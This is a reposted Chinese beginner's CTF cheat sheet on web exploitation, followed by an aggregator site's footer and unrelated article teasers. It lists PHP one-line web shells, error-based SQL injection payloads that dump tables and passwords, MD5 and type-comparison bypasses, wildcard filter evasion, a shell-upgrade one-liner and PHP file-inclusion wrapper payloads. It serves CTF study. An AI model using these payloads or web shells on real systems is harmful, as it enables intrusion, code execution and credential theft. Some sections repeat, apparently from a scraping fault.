CTF入门知识点

CTF知识点

请添加图片描述

md5函数

<?php$a = '123';echo md5($a,true);
?>
括号中true显示输出二进制
替换成false显示输出十六进制

绕过

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6 而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。

弱类型比较

两个数的md5加密后值0e开头就可以绕过,因为php在进行弱类型比较时,会转换字符串类型,再进行比较
两个数都以0e开头会被认为科学计数法,0e后面加任何数再科学计数法中都是0,所以两数相等
var_dump("0e12345"=="0e66666");//true
var_dump(md5('240610708')==md5('QNKCDZO'));//true

强类型比较

if(md5((string)$_GET['a'])===md5((string)$_GET['b']))
{<!-- -->var_dump($flag);
}
此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过
var_dump(md5([1,2,3])==md5([4,5,6]));//truevar_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]=1//true
数值类型加密位null

进制

DEC 十进制HEX 十六进制BIN 二进制OCT 八进制

木马

常用一句话

<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUEST['cmd']); ?>
<script language="php">eval($_GET['cmd']);</script>
<script language="php">eval($_POST['cmd']);</script>

GIF89a(GIF16进制的ASCII值)

文件头

FF D8 FF E1                   GPEG(jpg)
89 50 4E 47                   PNG(png)
47 49 46 38                   GIF(gif)
49 49 2A 00                   TIFF(tif)
42 4D C0 01                   Windows  Bitmap(bmp)
50 4B 03 04                   ZIP Archive (zip)
52 61 72 21                   RAR Archive (rar)
38 42 50 53                   Adobe Photoshop (psd)
7B 5C 72 74 66                Rich Text Format (rtf)
3C 3F 78 6D 6C                XML(xml)
68 74 6D 6C 3E                HTML (html)
25 50 44 46 2D 31 2E          Adobe Acrobat (pdf)
57 41 56 45                   Wave (wav)
4D 3C 2B 1A                   pcap (pcap)
52 49 46 46                   WEBP(webp)

MIME语法

通用结构:type/subtype

type:表示多个子类的独立类别

subtype:表示细分后的类型

对大小写不敏感,传统都是小写

常用MIME类型

文件类型MIME类型描述
.jpg | .jpegimage/jpeg使用图像公共图像格式
.pngimage/png
.binapplication/octet-stream当消息是未知类型和包含任何字节数据时使用

SQL注入

堆叠注入中后端代码猜测

*,1

报错注入:

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#

PHP

error_reporting(0):错误报告等级,参数为0表示关闭所有错误报告
class 定义类 public 定义公共属性 
preg_match 正则表达php短标签
<?= ?>相当于<?php echo ...?> 例:<?='hello'?> //输出'hello'
php反引号 
可以直接执行系统命令,想输出执行结果还需要echo等函数
<?php echo `ls /`;?>  		 				还可以使用短标签<?='ls /'?>

php5和php7的区别

在 PHP 5 中,assert()是一个函数,我们可以用$_=assert;$_()这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();

通配符在RCE中的利用

原理

在正则表达式中,?这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。
在 Shell 命令行中,?这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。
同理,我们可以知道*通配符:
在正则表达式中,*这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。
在shell命令行中,*这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。

利用?*在正则表达式和 Shell 命令行中的区别,可以绕过关键字过滤

假设flag在/flag中:
cat /fla?
cat /fla*假设flag在/flag.txt中:
cat /fla????
cat /fla*假设flag在/flags/flag.txt中:
cat /fla??/fla????
cat /fla*/fla*假设flag在flagg文件加里:
cat /?????/fla?
cat /?????/fla*

Python转换交互式

python -c 'import pty;pty.spawn("/bin/bash")'

ssh登录

ssh -p xx [user@ip](mailto:user@ip)xx 为 端口号   user为用户名  ip为要登陆的ip

状态码

200  OK表示请求被服务器正常处理 302  Found 临时重定向,表示请求的资源临时搬到了其他位置 304  Not Modified 表示客户端发送附带条件的请求时,条件不满足 400  Bad Request 表示请求报文存在语法错误或参数错误,服务器不理解 403  Forbidden 表示对请求资源的访问被服务器拒绝了 404  Not Found  表示服务器找不到你请求的资源500 Internal Server Error  表示服务器执行请求的时候出错了

反序列化

常见的几个魔法函数:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值__destruct: 和构造函数相反,当对象所在函数调用完毕后执行__toString:当对象被当做一个字符串使用时调用__sleep:序列化对象之前就调用此方法(其返回需要一个数组)__wakeup:反序列化恢复对象之前调用该方法 优先调用,而不会调用_construct
绕过:序列化字符串中表示对象属性个数的值大于真实属性个数时,就会跳过_wakeup执行__call:当调用对象中不存在的方法会自动调用该方法__get:在调用私有属性的时候会自动执行__isset():在不可访问的属性上调用isset()或empty()触发__unset():在不可访问的属性上使用unset()时触发

文件包含漏洞

include: 包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行
include_once: 这个函数跟和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含require: 跟include唯一不同的是,当产生错误时候,整个php文件停止运行
require_once: require_once语句和require 语句完全相同,唯一区别是PHP会检查该文件是否已经被包含过,如果是则不会再次包含注:这四个函数不管执行哪个后缀的文件,都将他当作php文件执行

远程文件包含

allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)
分为 无绕过 ?绕过 #绕过  空格绕过data:// 本身是数据流封装器,原理用法和php://input类似,但是是发送get请求参数
例http://ip/test.php?a=data://text/plain,条件

php伪协议

php://filter
?file=php://filter/convert.base64-encode/resource=xx.php
?file=php://filter/read=convert.base64-encode/resource=xx.php若base被过滤,utf编码:
?file=php://filter/convert.iconv.utf8.utf16/resource=xx.php php://input 条件:allow_url_include=On 实际相当于远程包含利用
php://打开交流文件后,我们直接在流里面写入我们的恶意代码,此时包含可执行文件
例:http://ip/test.php?a=php://input //然后在post里传入所需条件

windows常用命令

netstat -ano  查看系统进程tasklist 列出任务及进程号taskkill 杀进程type 查看文件 类似于linux中catmd 创建文件夹 类似于linux中mkdirtree 查看目录结构tracert 路由跟踪cls 清空命令行 类似于linux中clear

linux常用命令

ls -a 查看所有文件,包括隐藏文件echo 输入什么就打印什么> 覆盖 常见用法 echo word > test.txt >> 追加 常见用法 echo word >> test.txt find 目录 -name 文件 查找指定文件grep 参数 目标 id 显示用户id 所属群idnetstat 网络状态 
-anplt 查看所有tcp端口
-anplu 查看所有udp端口uname 显示系统信息
-a 显示系统详细信息--help 命令使用详情clear 清空命令行touch 创建文件mkdir 创建目录chmod 权限 文件所有者 文件所属组 其他用户 读4 写2 执行1scp 复制文件和目录

url使用linux命令

?url=system("ls /");注意:ls后面要有一个空格,然后一个分号结束,这不就出来了flag?url=system("cat /f*");?url=system("cat /flllllaaaaaaggggggg");

常见端口

数据库端口号
Oracle1521
Mysql3306
Sql server1433
Redis6379
PostgreSQL5432
MongoDB27017
DB250000
服务端口号
FTP 数据传输 控制链接20 21
ssh22
telnet23
SMTP 简单邮件传输25
DNS域名解析53
Http代理80

常见备份文件名

.git
.svn
.swp
.~
.bak
.bash_history

json对象

存储数据的方式,使用键值对的形式表示数据

JSON对象的语法规则如下:使用花括号 {} 表示一个JSON对象。
键和值之间使用冒号 : 分隔。
每个键值对之间使用逗号 , 分隔。
键必须是一个字符串,需要用双引号或单引号括起来。
值可以是字符串、数字、布尔值、数组、嵌套的JSON对象或null。

下面是json对象实例

{"name": "John","age": 30,"isStudent": false,"interests": ["reading", "traveling"],"address": {"city": "New York","country": "USA"},"phoneNumber": null

在上面的示例中,name、age、isStudent、address、phoneNumber都是键,对应的值分别是字符串、数字、布尔值、嵌套的JSON对象、null。

你可以使用各种编程语言(如JavaScript、Python、PHP等)来创建、访问和操作JSON对象。

例:[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

get传入?json={“x”:“wllm”}

post传入id=wllmNB

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

word pdf 文档知识点

word中document.xml文件是所有文字存贮的地方 查找passPDF隐写 wbStego4openPPT 打开时纯色图片 猜是彩虹 红橙黄绿青蓝紫 对应0-6 白色面板是分割

问和操作JSON对象。

例:[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

get传入?json={“x”:“wllm”}

post传入id=wllmNB

[外链图片转存中…(img-pJOVzMpV-1720191316208)]

word pdf 文档知识点

word中document.xml文件是所有文字存贮的地方 查找passPDF隐写 wbStego4openPPT 打开时纯色图片 猜是彩虹 红橙黄绿青蓝紫 对应0-6 白色面板是分割

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/867013.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【向量数据库|一文全面了解向量数据库的基本概念、原理、算法、选型】

文末有福利&#xff01; 向量数据库的原理和实现&#xff0c;包括向量数据库的基本概念、相似性搜索算法、相似性测量算法、过滤算法和向量数据库的选型等等。向量数据库是崭新的领域&#xff0c;目前大部分向量数据库公司的估值乘着 AI 和 GPT 的东风从而飞速的增长&#xff…

C++ 智能指针使用不当导致内存泄漏问题

shared_ptr相互嵌套导致循环引用 代码示例 #include <iostream> #include <memory> using namespace std;class B;class A { public:std::shared_ptr<B> b_ptr;~A() { std::cout << "A destroyed\n"; } };class B { public:std::shared_pt…

【代码随想录——图论——岛屿问题】

1.岛屿数量 https://kamacoder.com/problempage.php?pid1171 1.1 深度优先搜索 package mainimport "fmt"var direction [][]int{{0, 1}, {0, -1}, {1, 0}, {-1, 0}}func main() {var M, N intfmt.Scanln(&N, &M)sea : make([][]int, N)visited : make…

LabVIEW图像分段线性映射

介绍了如何使用LabVIEW对图像进行分段线性映射处理&#xff0c;通过对特定灰度值区间进行不同的线性映射调整&#xff0c;以优化图像的显示效果。案例中详细展示了如何配置和使用LabVIEW中的图像处理工具&#xff0c;包括设置分段区间、计算映射参数和应用映射函数等步骤。 实…

【论文阅读】VASA-1: Lifelike Audio-Driven Talking FacesGenerated in Real Time

整体框架。不直接生成视频帧&#xff0c;而是在潜在空间中生成整体面部动态和头部运动&#xff0c;条件是音频和其他信号。给定这些运动潜在编码&#xff0c;通过面部解码器生成视频帧&#xff0c;还接受从输入图像中提取的外观和身份特征作为输入。 构建了一个面部潜在空间并…

Mac系统清理工具:您的数字生活杂务处理师

有没有觉得您的Mac有时候像是需要一个好的春季大扫除一样&#xff1f;随着我们不断使用电脑&#xff0c;各种不需要的文件、老旧的数据和忘记的安装包就像家里的灰尘一样慢慢积累。幸运的是&#xff0c;有了一些出色的Mac系统清理工具&#xff0c;我们可以轻松将这些数字灰尘拂…

Wireshark网络抓包工具入门指南

目录 引言 安装抓包工具 抓包基础概念 抓包步骤 流程 抓包工具头的分析 14.3 以太网的完整帧格式 粘包与拆包现象解析及解决方案 发生原因 解决方案 14.3.1以太网头 14.3.2 IP头 14.3.3 UDP头 14.3.4 TCP头 引言 Wireshark是一款功能强大的开源网络协议分析器&am…

RAG :vector embeddings 怎么关联使用

构建检索增强生成&#xff08;RAG&#xff09;系统的关键因素之一&#xff1a;向量嵌入( vector embeddings )。这些元素是基本的技术和转换工具&#xff0c;使 RAG 系统在某些方面能够以类似于人类理解的形式处理语言。 embedding 提供了一种将文本信息转换为数字数据的方法。…

MFC常见问题解决

文章目录 1. 单文档程序初始化显示设置问题解决方案 1. 单文档程序初始化显示设置 问题 在Microsoft Foundation Classes (MFC) 中&#xff0c;单文档应用程序&#xff08;SDI&#xff09;的初始化时默认并不设置为最大显示。但你可以通过编程方式在程序启动时将其设置为全屏…

微信小程序的校园点餐系统-计算机毕业设计源码56979

摘 要 近年来&#xff0c;随着移动互联网的迅猛发展&#xff0c;微信小程序作为一种轻量级应用形式逐渐受到人们的关注和喜爱。在此背景下&#xff0c;各行各业开始向微信小程序上线他们的服务&#xff0c;其中包括餐饮行业&#xff0c;在校园内&#xff0c;学生、教职工和访客…

Arthas实战(5)- 项目性能调优

1、接口耗时查询&#xff1a;trace命令 trace 命令能主动搜索 class-pattern&#xff0f;method-pattern 对应的方法调用路径&#xff0c;渲染和统计整个调用链路上的所有性能开销和追踪调用链路。 1.1 准备测试应用 新建一个 SpringBoot 应用&#xff0c;写一耗时久的代码&…

能否免费使用Adobe XD?

Adobe XD不是免费的。Adobe 目前XD采用订阅模式&#xff0c;提供订阅模式 7 每天试用期结束后需要付费购买&#xff0c;具体价格根据不同的订阅计划确定&#xff0c;包括每月购买&#xff0c;包括 9.99 美元或每月 99.99 美元&#xff0c;或者选择购买Adobe CreativeCloud整体订…

内核错误定位

内核打印出如下&#xff1a; 在代码目录输入&#xff1a; ./prebuilts/gcc/linux-x86/aarch64/gcc-linaro-6.3.1-2017.05-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gdb kernel/vmlinux 进入gdb 命令模式 输入 l *(rk628_csi_probe0xf0) 能定位到出现问题地方。 最后就…

android iconfont带图标的图文并茂的一种实现

android实现图文并茂方法很多。 这里针对&#xff0c;仅本地图标&#xff0c;需要对齐&#xff0c;任意位置&#xff0c;兼容换行导致后面空白的问题做的一种方案。 www.iconfont.cn&#xff0c;注册&#xff1b; 上传svg的icon&#xff1b; 下载项目得到iconfont.ttf&#xf…

AI绘画Stable Diffusion【图生图教程】:图片高清修复的三种方案详解,你一定能用上!(附资料)

大家好&#xff0c;我是画画的小强 今天给大家分享一下用AI绘画Stable Diffusion 进行 高清修复&#xff08;Hi-Res Fix&#xff09;&#xff0c;这是用于提升图像分辨率和细节的技术。在生成图像时&#xff0c;初始的低分辨率图像会通过放大算法和细节增强技术被转换为高分辨…

以某头部基金实践为例,验证深信服超融合对TA系统承载能力

TA&#xff08;Transfer Agent&#xff09;开放式基金登记过户系统是交易管理系统的重要组成部分&#xff0c;是登记注册机构向投资者提供账户管理、份额登记、交易清算、红利发放、持有人名册保管的综合服务系统。 作为开放式基金运作的核心系统之一&#xff0c;承担着投资者…

计算机视觉——opencv快速入门(二) 图像的基本操作

前言 上一篇文章中我们介绍了如何配置opencv&#xff0c;而在这篇文章我们主要介绍的是如何使用opencv来是实现一些常见的图像操作。 图像的读取&#xff0c;显示与存储 读取图像文件 在opencv中我们利用imread函数来读取图像文件,函数语法如下&#xff1a; imagecv2.imre…

深度调峰汽轮机相关技术资料 厂家培训用

网盘 https://pan.baidu.com/s/16KfuoVko5xCUk3bDOfTlvQ?pwdezjb 亚临界循环流化床机组深度调峰下的输出功率预测方法.pdf 基于时间序列分析的燃煤电厂深度调峰预测方法及装置】.pdf 基于汽轮机低压缸排汽压力调节的深度调峰方法.pdf 基于深度调峰工况下阀门阀杆的振动预测方…

01--SpringAI接入大模型,chatgpt,Java接入人工智能大模型

01–SpringAI接入大模型,chatgpt,Java接入人工智能大模型 文章目录 01--SpringAI接入大模型,chatgpt,Java接入人工智能大模型一、准备工作&#xff1f;①&#xff1a;环境准备 二、创建一个springAI项目①&#xff1a;创建一个根项目②&#xff1a;创建一个SpringAI模块01.解决…

国际水务交流 | 一带一路沿线水环境考察暨中马水务合作论坛

从具体区域来看&#xff0c;“一带一路"沿线国家环境问题复杂而多样&#xff0c;各国生态环境特征差异明显 东南亚尤其是东盟地区受热带季风影响&#xff0c;降水较多&#xff0c;洪水高发&#xff0c;也是世界生物最为多样最为丰富的地区之一&#xff0c;这一区域面临森…